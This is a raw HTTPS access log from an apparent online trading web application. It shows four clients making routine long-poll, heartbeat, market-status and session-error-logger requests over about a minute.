[09/Jan/2026:09:59:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924221476 HTTP/1.1" -
[09/Jan/2026:09:59:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924233636 HTTP/1.1" -
[09/Jan/2026:09:59:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924219053 HTTP/1.1" -
[09/Jan/2026:09:59:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924220727 HTTP/1.1" -
[09/Jan/2026:09:59:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924238668 HTTP/1.1" -
[09/Jan/2026:09:59:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924226602 HTTP/1.1" -
[09/Jan/2026:09:59:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924224669 HTTP/1.1" -
[09/Jan/2026:09:59:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924225780 HTTP/1.1" -
[09/Jan/2026:09:59:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924243695 HTTP/1.1" -
[09/Jan/2026:09:59:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924231794 HTTP/1.1" -
[09/Jan/2026:09:59:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924230060 HTTP/1.1" -
[09/Jan/2026:09:59:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924230801 HTTP/1.1" -
[09/Jan/2026:09:59:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924248768 HTTP/1.1" -
[09/Jan/2026:09:59:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924236897 HTTP/1.1" -
[09/Jan/2026:09:59:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924235842 HTTP/1.1" -
[09/Jan/2026:09:59:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924236056 HTTP/1.1" -
[09/Jan/2026:09:59:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924253804 HTTP/1.1" -
[09/Jan/2026:09:59:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924242140 HTTP/1.1" -
[09/Jan/2026:09:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924240882 HTTP/1.1" -
[09/Jan/2026:09:59:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924242052 HTTP/1.1" -
[09/Jan/2026:09:59:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924258827 HTTP/1.1" -
[09/Jan/2026:09:59:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924247610 HTTP/1.1" -
[09/Jan/2026:09:59:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924245926 HTTP/1.1" -
[09/Jan/2026:09:59:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924248056 HTTP/1.1" -
[09/Jan/2026:09:59:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924263857 HTTP/1.1" -
[09/Jan/2026:09:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924252691 HTTP/1.1" -
[09/Jan/2026:09:59:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924250946 HTTP/1.1" -
[09/Jan/2026:09:59:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924268919 HTTP/1.1" -
[09/Jan/2026:09:59:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924254056 HTTP/1.1" -
[09/Jan/2026:09:59:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924257831 HTTP/1.1" -
[09/Jan/2026:09:59:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924255964 HTTP/1.1" -
[09/Jan/2026:09:59:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924273990 HTTP/1.1" -
[09/Jan/2026:09:59:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924260054 HTTP/1.1" -
[09/Jan/2026:09:59:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924262951 HTTP/1.1" -
[09/Jan/2026:09:59:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924261006 HTTP/1.1" -
[09/Jan/2026:09:59:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924279050 HTTP/1.1" -
[09/Jan/2026:09:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924268087 HTTP/1.1" -
[09/Jan/2026:09:59:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924266039 HTTP/1.1" -
[09/Jan/2026:09:59:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924266053 HTTP/1.1" -
[09/Jan/2026:10:00:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924284080 HTTP/1.1" -
[09/Jan/2026:10:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924273345 HTTP/1.1" -
[09/Jan/2026:10:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924271074 HTTP/1.1" -
[09/Jan/2026:10:00:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924272054 HTTP/1.1" -
[09/Jan/2026:10:00:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924289106 HTTP/1.1" -
[09/Jan/2026:10:00:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924278449 HTTP/1.1" -
[09/Jan/2026:10:00:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924276124 HTTP/1.1" -
[09/Jan/2026:10:00:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924278058 HTTP/1.1" -
[09/Jan/2026:10:00:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924294171 HTTP/1.1" -
[09/Jan/2026:10:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924283533 HTTP/1.1" -
[09/Jan/2026:10:00:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924281156 HTTP/1.1" -
[09/Jan/2026:10:00:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924299200 HTTP/1.1" -
[09/Jan/2026:10:00:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924284056 HTTP/1.1" -
[09/Jan/2026:10:00:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924288676 HTTP/1.1" -
[09/Jan/2026:10:00:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924286195 HTTP/1.1" -
[09/Jan/2026:10:00:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924304272 HTTP/1.1" -
[09/Jan/2026:10:00:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924290052 HTTP/1.1" -
